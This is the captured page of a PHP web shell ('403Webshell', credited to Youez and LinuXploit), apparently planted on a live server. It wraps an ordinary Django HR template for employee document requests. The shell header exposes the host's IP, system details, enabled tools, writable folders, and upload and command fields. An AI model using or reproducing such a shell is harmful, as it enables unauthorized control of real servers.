403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/employee/templates/tabs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/employee/templates/tabs/document_tab.html
{% load i18n %} {% load static %}
<style>

</style>
<div class="oh-btn-group p-3 justify-content-end">
	<div>
		<button
			class="oh-btn oh-btn--secondary"
			data-toggle="oh-modal-toggle"
			data-target="#objectCreateModal"
			hx-get="{% url 'document-create' emp_id %}"
			hx-target="#objectCreateModalTarget"
			onclick="event.preventDefault()"

		>
			<ion-icon name="add-sharp" class="mr-2"></ion-icon>{% trans "Create" %}
		</button>
	</div>
</div>
{% if documents %}
	<div class="mt-2">
		{% for document in documents %}
			<div id="document{{document.id}}">
				<div class="oh-user_permission-list_item accordion exclude-accordion-style"  hx-get='{% url "view-file" document.id %}'
					 hx-target="#viewFile" data-toggle="oh-modal-toggle" data-target="#viewFileModal" >
					<div class="oh-user_permission-list_profile  {% if document.status == "approved" %}row-status--yellow {% elif document.status == 'rejected' %}row-status--red {% elif document.status == 'requested' %}row-status--blue{% endif %}">
						<div class="oh-navbar__user-photo oh-user_permission--profile">
							{% if document.document %}
								{% if document.status == "approved" %}
									<span
										class="oh-badge oh-badge--secondary oh-badge--small oh-badge--round ms-2 mr-2 file-upload"
										onclick="event.stopPropagation()"
										title="Approved"
									>
									<ion-icon name="checkmark"></ion-icon>
								{% elif document.status == 'rejected' %}
									<span
										class="oh-badge oh-badge--secondary oh-badge--small oh-badge--round ms-2 mr-2 file-upload"
										onclick="event.stopPropagation()"
										title="Rejected"
									>
										<ion-icon name="alert"></ion-icon>
									</span>
								{% else %}
								<span
										class="oh-badge oh-badge--secondary oh-badge--small oh-badge--round ms-2 mr-2 file-upload"
										onclick="event.stopPropagation()"
										title="Uploaded"
									>
									<ion-icon name="image-outline"></ion-icon>
								</span>
								{% endif %}
							{% else %}
								<span
									class="oh-badge oh-badge--secondary oh-badge--small oh-badge--round ms-2 mr-2 file-upload"
									hx-get="{% url 'file-upload' document.id %}"
									hx-target="#objectCreateModalTarget"
									data-document-id="{{ document.id }}"
									data-toggle="oh-modal-toggle"
									data-target="#objectCreateModal"
									onclick="event.stopPropagation()"
									title="Upload File"
								>
									<ion-icon
										class="md hydrated"
										name="add-outline"
										role="img"
										aria-label="add outline"
									></ion-icon>
								</span>
							{% endif %}
						</div>
						<div class="oh-feedback-card__name-container ms-1 title_form">
							<form hx-post = "{% url 'update-document-title' document.id %}" hx-swap="none" hx-on-htmx-after-request="setTimeout(() => { reloadMessage(); }, 300);">
								<input class="oh-card__title oh-card__title--sm fw-bold me-1 editable-input" onclick="event.stopPropagation();" name="title" value="{{document.title}}" readonly />
								<span class="error oh-user_permission_list-text text-danger d-none" >{% trans "Title needs to be more than 3 letters" %}</span>
								<input class="d-none title-submit" type="submit" onclick="event.stopPropagation();" />
							</form>
							<span class="oh-text--light" title="{{document.document_request_id.description}}">
								{{document.document_request_id.description|truncatechars:60}}
							</span>
							{% if document.issue_date %}
								<span class="oh-text--light" title="{{document.document_request_id.description}}">
									{% trans "Issue Date" %} : {{ document.issue_date }}
								</span>
							{% endif %}
						</div>
					</div>
					<div class="oh-btn-group">
							{% if perms.horilla_document.change_documentrequest %}
								{% if document.status == "approved" %}
								<a class="oh-btn oh-btn--success w-100 oh-btn--disabled"  onclick="event.stopPropagation()">
									<ion-icon class="me-1" name="checkmark-outline"></ion-icon>
								</a>
								<a
									type="submit"
									hx-get="{% url 'document-reject' document.id %}"
									hx-target="#rejectFileForm"
									data-toggle="oh-modal-toggle"
									data-target="#rejectFileModal"
									title="{% trans 'Reject' %}"
									class="oh-btn oh-btn--danger w-100"
									onclick="event.stopPropagation()"
								>
									<ion-icon class="me-1" name="close-circle-outline"></ion-icon>
								</a>
								{% else %}
								<a
									type="submit"
									hx-get="{% url 'document-approve' document.id %}"
									hx-target="#viewFile"
									title="{% trans 'Approve' %}"
									class="oh-btn oh-btn--success w-100"
									onclick="event.stopPropagation()"
								>
									<ion-icon class="me-1" name="checkmark-outline"></ion-icon>
								</a>
								<a class="oh-btn oh-btn--danger w-100 oh-btn--disabled"  onclick="event.stopPropagation()">
									<ion-icon class="me-1" name="close-circle-outline"></ion-icon>
								</a>
								{% endif %}
							{% endif %}
						{% if not document.document_request_id or perms.horilla_document.change_documentrequest %}
							<form hx-confirm="{% trans 'Are you sure you want to delete this Document Request?' %}"
								hx-post="{% url 'document-delete' document.id %}"
								hx-target="#document{{document.id}}"
								hx-swap="outerHTML"
								hx-on-htmx-after-request="setTimeout(() => { reloadMessage(); }, 300);"
								onclick="event.stopPropagation()"
								>
								{% csrf_token %}
								<button
									type="submit"
									class="oh-btn  oh-btn--secondary"
									title="{% trans 'Delete' %}"
								>
									<ion-icon
										class="me-1 md hydrated"
										name="trash-outline"
										role="img"
										aria-label="trash outline"
									></ion-icon
									>
								</button>
							</form>
						{% endif %}
					</div>
				</div>
			</div>
		{% endfor %}
	</div>
{% else %}
	<div class="d-flex justify-content-center align-items-center" style="height: 40vh;">
	    <div class="text-center">
	        <img class="oh-404__image mb-3" style="width: 150px; height: 150px;" src="{% static 'images/ui/no_documents.png' %}" alt="No documents">
	        <h5 class="oh-404__subtitle">{% trans "No documents have been uploaded yet." %}</h5>
	    </div>
	</div>
{% endif %}

<div
	class="oh-modal"
	id="viewFileModal"
	role="dialog"
	aria-labelledby="viewFileModal"
	aria-hidden="true"
>
	<div class="oh-modal__dialog custom-dialog">
		<div class="oh-modal__dialog-header">
			<span class="oh-modal__dialog-title" id="viewFileModalLabel"
				>{% trans "View File" %}</span
			>
			<button class="oh-modal__close" aria-label="Close">
				<ion-icon
					name="close-outline"
					role="img"
					class="md hydrated"
					aria-label="close outline"
				></ion-icon>
			</button>
		</div>
		<div class="oh-modal__dialog-body" id="viewFile"></div>
	</div>
</div>

<div
	class="oh-modal"
	id="documentCreateModal"
	role="dialog"
	aria-labelledby="documentCreateModal"
	aria-hidden="true"
>
	<div class="oh-modal__dialog">
		<div class="oh-modal__dialog-header">
			<button class="oh-modal__close" aria-label="Close">
				<ion-icon
					name="close-outline"
					role="img"
					class="md hydrated"
					aria-label="close outline"
				></ion-icon>
			</button>
		</div>
		<div class="oh-modal__dialog-body" id="documentCreateForm"></div>
	</div>
</div>


<div
	class="oh-modal"
	id="rejectFileModal"
	role="dialog"
	aria-labelledby="rejectFileModal"
	aria-hidden="true"
>
	<div class="oh-modal__dialog">
		<div class="oh-modal__dialog-header">
			<span class="oh-modal__dialog-title" id="rejectFileModalLabel"
				>{% trans "Reject" %}</span
			>
			<button class="oh-modal__close--custom" aria-label="Close"
			onclick="event.stopPropagation();event.preventDefault();$('#rejectFileModal').toggleClass('oh-modal--show');">
				<ion-icon
					name="close-outline"
					role="img"
					class="md hydrated"
					aria-label="close outline"
				></ion-icon>
			</button>
		</div>
		<div class="oh-modal__dialog-body" id="rejectFileForm"></div>
	</div>
</div>

 <script>
	$(document).ready(function(){
		editableInput = $(".editable-input")
		var typingTimer;
		var doneTypingInterval = 300;

		editableInput.on("focus", function(){
			$(this).prop("readonly", false)
		})

		editableInput.on("blur", function(){
			$(this).prop("readonly", true)
		})

		editableInput.on("keyup", function(){
			let error = ""
			let $this = $(this)
			clearTimeout(typingTimer);
			typingTimer = setTimeout(function(){
				if ($this.val().length <=3){
					$this.siblings(".error").removeClass("d-none")
					$this.siblings(".error").addClass("d-block")
				} else {
					$this.siblings('.title-submit').click();
					$this.siblings(".error").removeClass("d-block")
					$this.siblings(".error").addClass("d-none")
				}
			}, doneTypingInterval);

			if (event.keyCode === 13) {
				$(this).blur();
			}
		});

	})
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit